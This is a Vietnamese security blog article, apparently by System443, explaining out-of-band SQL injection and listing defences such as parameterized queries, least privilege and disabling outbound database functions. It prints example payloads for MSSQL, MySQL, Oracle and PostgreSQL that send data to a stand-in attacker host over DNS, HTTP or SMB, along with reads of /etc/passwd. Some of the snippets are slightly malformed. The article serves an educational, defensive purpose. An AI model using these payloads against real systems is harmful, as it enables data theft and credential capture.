Out of band SQL Injection là gì? Cách phòng chống hiệu quả

Out of band SQL Injection là gì? Tìm hiểu cách thức tấn công và cách phòng chống để bảo vệ cơ sở dữ liệu website của bạn

Out of band SQL Injection là gì? Cách phòng chống hiệu quảLink to heading

Out of band SQL Injection là gì và vì sao nó lại được xem là một trong những hình thức tấn công âm thầm nhưng cực kỳ nguy hiểm? Nếu các kỹ thuật SQL Injection thông thường như in-band hay blind SQLi đã phần nào quen thuộc với lập trình viên và chuyên gia bảo mật, thì OOB SQLi lại là một biến thể tinh vi hơn – thường không để lại dấu vết trực tiếp và rất khó phát hiện nếu không có hệ thống giám sát chuyên biệt.

Trong bài viết này, System443 sẽ phân tích toàn diện về cách hoạt động của OOB SQLi, cơ chế lợi dụng DNS hoặc HTTP để trích xuất dữ liệu trái phép, cũng như cung cấp các giải pháp phát hiện và ngăn chặn phù hợp cho doanh nghiệp và hệ thống có yêu cầu cao về bảo mật dữ liệu.

Out of band SQL Injection là gì?Link to heading

Out of band SQL Injection (OOB SQLi) là một kỹ thuật tấn công nâng cao cho phép tin tặc trích xuất dữ liệu từ cơ sở dữ liệu ngay cả khi các phản hồi trực tiếp đã bị chặn. Khác với các hình thức SQL Injection truyền thống vốn truy xuất dữ liệu trong cùng một chu trình gửi và nhận yêu cầu thì OOB SQLi thực hiện việc rò rỉ dữ liệu thông qua các kênh giao tiếp bên ngoài như truy vấn DNS hoặc yêu cầu HTTP.

Nhiều ứng dụng web hiện nay thường xuyên tương tác với cơ sở dữ liệu để lưu trữ và truy xuất thông tin người dùng. Nếu ứng dụng không xử lý đúng cách các truy vấn SQL và cho phép đầu vào người dùng không được lọc kỹ, tin tặc có thể lợi dụng điểm yếu này để thao túng truy vấn và thực hiện các hành vi trái phép. 

Out-of-Band SQL Injection đặc biệt nguy hiểm vì nó vẫn có thể hoạt động hiệu quả ngay cả khi các biện pháp ngăn chặn error-basedtime-based SQLi đã được triển khai.

Cách thức hoạt động Out of band SQL InjectionLink to heading

Out of band SQL Injection hoạt động bằng cách ép cơ sở dữ liệu thiết lập một kết nối gửi dữ liệu ra ngoài đến máy chủ do kẻ tấn công kiểm soát. Do không thể truy xuất kết quả trực tiếp thông qua phản hồi từ ứng dụng web, kẻ tấn công sẽ lợi dụng các hàm tích hợp sẵn trong cơ sở dữ liệu cho phép tương tác với hệ thống bên ngoài.

Các bước thực hiện một cuộc tấn công OOB SQL Injection

  • Xác định trường nhập liệu dễ bị tấn công: Kẻ tấn công tìm ra một biểu mẫu trên website, một API hoặc một request mà trong đó truy vấn SQL được thực thi mà không được kiểm tra hoặc lọc dữ liệu đầu vào đúng cách.
  • Chèn mã SQL độc hại: Thay vì nhập dữ liệu thông thường, kẻ tấn công tạo ra một đoạn mã buộc cơ sở dữ liệu phải gửi dữ liệu đến một máy chủ bên ngoài.
  • Nhận dữ liệu từ máy chủ bên ngoài: Kẻ tấn công thu thập dữ liệu tại tên miền do họ kiểm soát, từ đó trích xuất thông tin nhạy cảm mà không cần phản hồi trực tiếp từ ứng dụng.

Giả sử một ứng dụng web ghi lại các lần đăng nhập thất bại vào cơ sở dữ liệu với đoạn truy vấn như sau:

INSERT INTO logs (user, ip, status) VALUES ('admin', '192.168.1.1', 'failed'); 

Kẻ tấn công có thể chèn đoạn mã SQL sau:

admin'; exec xp_cmdshell('nslookup myserver.com') -- 

Lệnh này buộc cơ sở dữ liệu thực hiện một truy vấn DNS đến myserver.com, là tên miền do kẻ tấn công kiểm soát. Khi DNS truy vấn được ghi nhận trên máy chủ đó, kẻ tấn công xác nhận lỗ hổng tồn tại và có thể tiếp tục khai thác để trích xuất dữ liệu.

Kẻ tấn công thường sử dụng các công cụ như SQLmap để tự động hóa quá trình khai thác. Chỉ với một vài thao tác đơn giản, họ có thể tạo ra các payload mạnh mẽ giúp trích xuất dữ liệu nhạy cảm mà không cần truy cập trực tiếp vào hệ thống, khiến việc phát hiện và ngăn chặn trở nên khó khăn hơn rất nhiều.

Các kỹ thuật phổ biến trong Out of band SQL InjectionLink to heading

Rò rỉ dữ liệu qua DNS

Kẻ tấn công chèn các payload SQL kích hoạt truy vấn DNS đến một máy chủ mà họ kiểm soát.

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\data')); 

Máy chủ của kẻ tấn công sẽ ghi lại yêu cầu này, từ đó tiết lộ thông tin về cơ sở dữ liệu.

Gửi yêu cầu HTTP đến máy chủ bên ngoài

Kẻ tấn công buộc cơ sở dữ liệu gửi các yêu cầu HTTP đến một máy chủ do họ kiểm soát.

xp_cmdshell 'curl http://attacker.com/?data=' + (SELECT user FROM dual);>

Kẻ tấn công sẽ thu nhận phản hồi chứa dữ liệu nhạy cảm.

Out of Band SQL Injection trên các hệ quản trị cơ sở dữ liệu phổ biếnLink to heading

Oracle

Sử dụng UTL_HTTP để đánh cắp dữ liệu – Trên cơ sở dữ liệu Oracle, kẻ tấn công có thể sử dụng UTL_HTTP để gửi truy vấn ra ngoài.

Ví dụ:

DECLARE

req UTL_HTTP.req;

BEGIN

req := UTL_HTTP.begin_request('http://attacker.com/'||(SELECT user FROM dual));

UTL_HTTP.end_request(req);

END;

Đoạn mã trên sẽ gửi thông tin từ cơ sở dữ liệu đến máy chủ của kẻ tấn công.

MSSQL (Microsoft SQL Server)

Sử dụng xp_dirtree để đánh cắp dữ liệu qua SMB – Kẻ tấn công sử dụng thủ tục xp_dirtree để kích hoạt kết nối ra ngoài thông qua giao thức SMB.

Ví dụ:

EXEC xp_dirtree '\\attacker.com\leakdata\' + (SELECT user); 

Kẻ tấn công sẽ thu thập và giải mã hash NTLM từ kết nối SMB.

MySQL

Lợi dụng LOAD_FILE() để đọc và đánh cắp dữ liệu – Kẻ tấn công sử dụng hàm LOAD_FILE để đọc tệp hệ thống và gửi dữ liệu ra ngoài thông qua phản hồi lỗi hoặc ghi trực tiếp.

Ví dụ:

SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '\\\\attacker.com\\data.txt'; 

PostgreSQL

Sử dụng pg_read_file() để đọc file và gửi dữ liệu từ xa – Kẻ tấn công khai thác các hàm như pg_read_file() và sử dụng dblink hoặc COPY để trích xuất dữ liệu.

Ví dụ:

SELECT pg_read_file('/etc/passwd');

Tác hại của Out of band SQL InjectionLink to heading

Đánh cắp dữ liệu nhạy cảmLink to heading

Mặc dù không để lại dấu vết trên website, kẻ tấn công vẫn có thể trích xuất toàn bộ dữ liệu. Thông tin nhạy cảm như tên người dùng, mật khẩu và dữ liệu tài chính có thể bị đánh cắp và gửi ra ngoài một cách lén lút qua một kênh phụ.

Khó phát hiệnLink to heading

Tấn công này không tạo ra lỗi hiển thị (như Error-based) hoặc làm tăng thời gian tải trang một cách rõ rệt (như Time-based). Dấu vết tấn công chỉ xuất hiện trong log của DNS hoặc các máy chủ bên ngoài, khiến việc phát hiện trở nên vô cùng khó khăn.

Kiểm soát ứng dụng/máy chủLink to heading

Nếu kẻ tấn công khai thác được lỗ hổng Out of band SQLi, họ có thể thực thi lệnh từ xa trên máy chủ. Điều này cho phép họ mở backdoor, chèn mã độc hoặc kiểm soát hoàn toàn hệ thống, gây ra hậu quả nghiêm trọng.

Gây thiệt hại về uy tín và tài chínhLink to heading

Hậu quả của việc rò rỉ dữ liệu là khôn lường. Thiệt hại về uy tín thương hiệu, mất niềm tin của khách hàng và các khoản tiền phạt pháp lý có thể lớn hơn rất nhiều so với chi phí ban đầu để khắc phục lỗ hổng.

Cách phòng chống Out of band SQL InjectionLink to heading

Sử dụng Prepared Statements hoặc Parameterized QueriesLink to heading

Đây là cách hiệu quả nhất để ngăn chặn tất cả các loại SQL Injection. Prepared Statements tách biệt mã SQL và dữ liệu đầu vào, đảm bảo rằng mọi dữ liệu do người dùng nhập vào chỉ được xử lý dưới dạng dữ liệu chứ không phải mã lệnh SQL.

Xác thực đầu vào và làm sạch dữ liệuLink to heading

Kiểm tra và làm sạch tất cả dữ liệu người dùng nhập vào trước khi xử lý. Xác thực đầu vào đảm bảo dữ liệu đúng định dạng, trong khi làm sạch dữ liệu loại bỏ các ký tự đặc biệt có thể bị hacker lợi dụng.

Nguyên tắc đặc quyền tối thiểuLink to heading

Cấp cho tài khoản database mà ứng dụng web sử dụng quyền truy cập tối thiểu cần thiết. Điều này giúp giảm thiểu thiệt hại nếu kẻ tấn công có thể xâm nhập, vì chúng sẽ không có đủ quyền để truy cập hoặc thay đổi dữ liệu quan trọng.

Hạn chế các chức năng của databaseLink to heading

Tắt các hàm hoặc tính năng trong database cho phép truy cập ra bên ngoài nếu không cần thiết. Điều này sẽ chặn kênh phụ mà tấn công Out of band SQL Injection khai thác.

Sử dụng Web Application Firewall (WAF)Link to heading

WAF hoạt động như một lớp bảo vệ bổ sung, lọc và chặn các yêu cầu độc hại trước khi chúng đến ứng dụng web của bạn. WAF có thể phát hiện các mẫu tấn công SQL Injection, bao gồm cả Out of band SQLi và ngăn chặn chúng từ sớm.

Thường xuyên cập nhật phần mềm và hệ thốngLink to heading

Luôn đảm bảo rằng CMS (như WordPress), các plugin, theme, framework và cả hệ điều hành của server được cập nhật lên phiên bản mới nhất. Điều này giúp vá các lỗ hổng bảo mật đã được biết và ngăn chặn hacker lợi dụng chúng.

Kiểm tra bảo mật định kỳLink to heading

Thường xuyên thực hiện các cuộc kiểm tra bảo mật, quét mã độc để tìm kiếm lỗ hổng. Kiểm thử xâm nhập sẽ giúp bạn chủ động phát hiện điểm yếu trước khi hacker kịp khai thác.

Kết luậnLink to heading

Tóm lại, Out of Band SQL Injection là một trong những hình thức tấn công nguy hiểm nhất hiện nay do tính chất âm thầm, khó phát hiện và khả năng vượt qua nhiều lớp bảo vệ thông thường. Để bảo vệ hệ thống khỏi rủi ro bị đánh cắp dữ liệu, doanh nghiệp cần triển khai các biện pháp phòng ngừa từ gốc.

Bạn muốn bảo vệ hệ thống toàn diện hơn? Xem thêm các bài viết khác của System443 ngay!

Contact background

Bạn muốn nhận tư vấn về các dịch vụ của System443

Đội ngũ chuyên gia giàu kinh nghiệm của chúng tôi luôn sẵn sàng hỗ trợ bạn!

Mascot contact
Contact now